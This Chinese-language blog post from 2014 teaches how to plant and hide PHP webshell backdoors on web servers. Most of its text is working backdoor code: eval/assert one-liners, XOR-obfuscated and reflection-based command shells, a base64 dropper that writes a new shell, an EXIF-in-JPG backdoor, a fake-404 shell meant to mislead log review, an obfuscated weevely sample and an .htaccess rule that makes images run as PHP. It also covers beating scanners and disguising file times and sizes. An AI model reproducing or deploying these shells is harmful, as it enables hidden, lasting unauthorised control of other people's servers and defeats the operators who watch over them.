Web后门隐藏与维持 - Web Backdoor Hidden and Maintenance

By Le4F - 2014-05-19
前言

在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.

以PHP-WEBBACKDOOR为例,抛砖引玉

一个最常见的一句话后门可能写作这样

<?php @eval($_POST['cmd']);?>

或这样

<?php @assert($_POST['cmd']);?>

当然,这仅是调用的函数不同,关于PHP禁用的函数请在

php.ini: disable_functions =

中寻找.

但是运维直观寻找我们shell的方式也有很多,如

  • 通过文件名/修改时间/大小,文件备份比对发现异常
  • 通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php以及各种扫描器等等
  • 通过Access.log访问日志发现后门所在
  • 又或者,我们的测试一句话还要被WAF拦一下,再来个警告日志,等等

针对常见的检测方式,总结以下七常用手法对shell进行隐藏

* 规避

看看各种扫描后门的代码就知道,留一个众人皆知,人人喊打的关键词在shell中是万万不能的

image

常见的关键词如:

  • 系统命令执行: system, passthru, shell_exec, exec, popen, proc_open
  • 代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
  • 文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

过去有朋友机智的使用

$_POST[0]($_POST[1]);

来执行命令,可惜现在也难逃扫描器法眼,但万象变化,构造方法是无穷的

tudouya 同学在FREEBUF上给出一种构造技巧

利用

<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _    
$__.=("."^"~"); // _P    
$__.=("/"^"`"); // _PO    
$__.=("|"^"/"); // _POS    
$__.=("{"^"/"); // _POST 
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

构造生成,当然,嫌太直观可以写作这样

<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代码进行伪装,一个简单的"免杀"shell样本就出现了

image

执行无误,且绕过普通扫描器,也可依赖之写新的临时shell

image

* 特性

借助语法特性执行命令亦不失为有趣的手法.借用php在处理变量时的语法特性,会分析双引号中的数据是否含有变量(并解析其值)
eg.:

${@eval(phpinfo())}

{}可解析双引号内的变量内容,@保持出错后继续执行
然后就可以大摇大摆的开始构造隐藏后门了,但此处构造欲再借力于函数引起的命令执行,没错,就是preg_replace

<?php @preg_replace("//e",$_POST['cmd'],"");?>

这玩法显然已经进了扫描器黑名单,简单修改下

<?php
function funfunc($str){}
echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]); 
?>

执行了,没有被发现

image

执行的方式显而易见,正则匹配后的{${phpinfo()}}传入funfunc时引起了代码执行

funfunc("{${phpinfo()}}")

另一种方法

<?php @assert("\$arr=\"".$_GET['cmd']."\";");?>

image

此外有反射型后门(@update)

<?php
    $func = new ReflectionFunction($_GET[m]);
    echo $func->invokeArgs(array($_GET[c]));
?>

调用如x.php?m=system&c=whoami
后门也可绕过某些检测禁用system函数的防护系统

<?php
$func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>

另分享一个借助ob_start回调执行系统命令的后门

<?php
    $cb= 'system';
    ob_start($cb);
    echo $_GET[c];
    ob_end_flush();
?>
* 包含

文件包含是众人都玩过的方法,只是包含也有技巧
普通文件包含可能仅仅是一个include包含某个txt或jpg,甚至直接留一个包含漏洞,但扫描器也容易发现,多出的包含文件也易被发现
看此脚本

<?php
if(@isset($_GET[content]))
{
$fp=fopen('README','w');
file_put_contents('README',"<?php\r\n");
@file_put_contents('README',$_GET[content],FILE_APPEND);
fclose($fp);
require 'README';}
?>

算是解决了一点问题,需求的shell可随用随生成,进而包含之

image

可惜由于file_put_contents等函数过于敏感,也是很容易被扫描发现
编码生成的方式创建shell,随访问而生成.

<?php @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));?>

可以逃避一些扫描器,但这个模式也比较引人注目,生成的新文件也要做简单的隐藏以躲过查杀.
当然对于启发式之类的新概念就不考虑了

在这种方式也满足不了需求的情况下,机智的攻击者又重拾图片

<?php $exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?>

参考一种隐藏在JPG图片EXIF中的后门

这次不必再简单的copy /b生成图片马了,借用preg_replace执行文件的特定标志一样可行

image

此处可能会提示

Call to undefined function exif_read_data()

需要修改php.ini

extension=php_exif.dll

将其加载顺序改为

extension=php_mbstring.dll

的后面

image

可以看出,此图片后门借助了preg_replace \e参数,依赖了php的变量解析执行,又使用了base64编码,最后依赖文件标识将一个完整的shell拼合,算是给初涉后门隐藏的童鞋一个小提醒

当然,只要有包含点,包含文件的形式是多样的,甚至于包含error_log(虽然可能要考虑闭合),只有想不到...

* 隐匿

为了不让访问者发现后门的存在,机智的安全研究员也会混淆视听故弄玄虚

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
<html><head> 
<title>404 Not Found</title> 
</head>
<body>
<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
</body>
</html> 
<?php 
@preg_replace("/[checksql]/e",$_POST['cmd'],"saft"); 
?>

借助上面的html渲染后,浏览页面已经开始伪装404以迷惑视听了
但躲得过访问者也躲不过日志分析,为更好的隐藏在大量日志中,构造如下脚本

<?php
header('HTTP/1.1 404');
ob_start();
@fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
ob_end_clean();
?>

访问之,是真正的404,没错,日志中也是这样

image

但此刻当前目录已生成我们要连接的脚本

* 混淆

用过weevely工具的童鞋应该知道,其生成的免杀shell像这样

<?php
$penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";
$kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
$ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");
$wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
$zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";
$smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");
$jgfi = $ftdf("l","","lclrlelaltel_functlilon");
$rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
?>

终端下连接后像这样

image

Ps:截图忘记修改终端编码了:(

其免杀方式在于,在固定区域生成随机名称变量,后借助str_replace拼合base64_decode,执行命令的过程

当然,这是在代码层面混淆视听以躲过扫描器

更常用的混淆视听的方法:

  • 修改文件时间
  • 改名融入上传后所在文件夹,让人无法直观看出文件异常
  • 文件大小的伪装处理(至少看起大小像个正常脚本)
  • 选好藏身路径并尽量少的访问
  • 畸形目录%20

关于空格目录,还是相对容易被发现的

image

image

* 解析

利用.htaccess,添加解析后门

image

AddType   application/x-httpd-php     .jpg

image

以上以weeverly为例

* 杂糅

总结以上方法,大部分无非是一个构造漏洞的过程,漏洞构造的代码能有多奇葩,后门就可以多奇葩.可以写纤细婉约的,也可以搞简单粗暴的,只是适用场合不同而已.如能很好的融合思路,构造自己的隐藏shell想来亦非难事.


其他平台后门,后续有时间会继续补充

以上仅为总结经验之谈,各位有有趣的想法还望不吝赐教

From Le4F'Blog